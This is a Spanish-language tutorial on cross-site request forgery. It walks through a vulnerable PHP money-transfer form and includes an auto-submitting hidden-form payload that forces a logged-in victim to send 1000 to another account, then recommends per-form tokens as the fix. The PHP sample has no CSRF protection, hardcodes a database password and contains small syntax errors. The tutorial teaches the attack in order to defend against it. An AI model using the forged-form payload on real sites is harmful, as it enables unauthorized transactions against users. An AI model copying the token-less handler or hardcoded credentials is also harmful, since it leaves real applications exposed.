Tutorial de Falsificacion de Solicitud entre Sitios (CSRF)

Hola a todos amigos!! Esta semana cubriremos una vulnerilidad llamada Falsificacion de Solicitud entre Sitios (Cross-Site Request Forgery - CSRF).

La Falsificacion de Solicitud entre Sitios (o Cross-Site Request Forgery), es una vulnerabiilidad que afecta a los clientes de un servidor web. Esta vulnerabilidad sucede debido a que aplicacion web erra en verificar la validadez de una solicitud HTTP de un cliente.

Analizemos la siguiente forma en HTML:

  <form method="POST" action="transferencias.php">
    <input type="text" name="cuenta" />
    <input type="text" name="cantidad" />
    <input type="submit" value="Transferir" />
  </form>
  

En el codigo anterior tenemos un claro ejemplo de una forma la cual acepta los datos de un numero de cuenta y cierta cantidad. Una vez que hacemos click en el boton de Transferir entonces se envia una solicitud HTTP con el metodo post hacia transferencias.php para poder ser procesada. Nuestra solicitud HTTP se veria similar a la siguiente:

  POST /transferencias.php HTTP/1.1
  Host: 192.168.56.102
  User-Agent: Mozilla Firefox
  Cookie: PHPSESSID=298zf09hf012fh2
  
  cuenta=01010101&cantidad=1500
  

Donde efectivamente la primer linea es el metodo POST (recordemos que existen varios metodos para el protocolo HTTP como GET, HEAD, OPTIONS, etc), la segunda linea define al servidor al que estamos enviando esta solicitud, la tercera linea define el tipo de navegador web que estamos utilizando para enviar esta solicitud, siguiente tenemos la linea Cookie, este encabezado lo utilizamos para enviar nuestra identificacion de sesion para PHP (aqui asumimos que anteriormente ya ingresamos un usuario y contrasena correcta, y la aplicacion nos entrego dicho numero identificacion de sesion denotado por PHPSESSID). seguida de una linea en blanco y nuestros valores para variables cuenta y cantidad.

Mientras que el codigo PHP para procesar la forma es el siguiente:

  
  if (session_id() === "") {
    echo "<p>No esta autorizado para ver esta pagina<br/>";
    echo "Favor de hacer Login<p>";
    exit();
  }
  
  $baseDeDatos = "Registros";
  $usuario = "applicacion_web";
  $contrasena = "Contr@sena_Sup3r_Segur4_2023";
  $servidor = "MXSQLDEV01"
  
  $conexion = new mysqli($servidor, $usuario, $contrasena, $baseDeDatos);
  
  if (isset($_POST["cuenta"]) && isset($_POST["cantidad"])) {
     $sql = $conexion->("INSERT INTO TRANSFERENCIAS (cuenta, cantidad) VALUES (?, ?)"); 
     $sql->bind_param("ss", $_POST["cuenta"], $_POST["cantidad"]);
  
     $sql->execute();
  }
  
  

En el codigo anterior podemos observar que primero verificamos que el usuario posee una identificacion de session, de otro modo tiene que regresar a autenticarse (es decir, proveer un usuario y contrasena validos), despues que verificamos la sesion, entonces creamos un objecto tipo mysqli para poder conectarnos a la base de datos en el backend denotado por la variable conexion, seguido verificamos la existencia de las variables cuenta y cantidad dentro de arreglo POST. Despues usamos las dos variables para insertar ambas dentro de la tabla TRANSFERENCIAS.

Esta aplicacion es vulnerable a ataques de Falsificacion de Solicitud entre Sitios (CSRF). Dado a que la aplicacion nos esta verificando la autenticidad de la solicitud. Es decir, Aunque la aplicacion efectivamente verifica la autenticidad del usuario, no verifica la autenticidad de la solicitud HTTP.

Por ejemplo, si un usuario utilizara esta aplicacion para ingresar transferencias, y sin cerrar su sesion dentro del navegador visitara un sitio con el siguiente codigo:

  <img src="imagenes/tottix.png" />
  
  <form action="http://192.168.56.102/csrf/transferencias.php" method="POST" >
    <input type="hidden" name="cuenta" value="9999999991" />
    <input type="hidden" name="cantidad" value="1000" />
  </form>
  
  <script>
    document.forms[0].submit();
  </script>
  

Entonces, dado a que la identificacion de sesion de PHP aun esta activa, el usuario inadvertidamente ingresara una nueva transferencia a la cuenta 9999999991 por una cantidad de 1000 sin su consentimiento.

Conclusion

Para mitigar esta vulnerabilidad es necesario implementar un codigo (o "token") unico para cada forma, asi podriamos evitar la Falsificacion de Solicitude. Por favor siguenos en YouTube (https://www.youtube.com/@tottixchannel9306).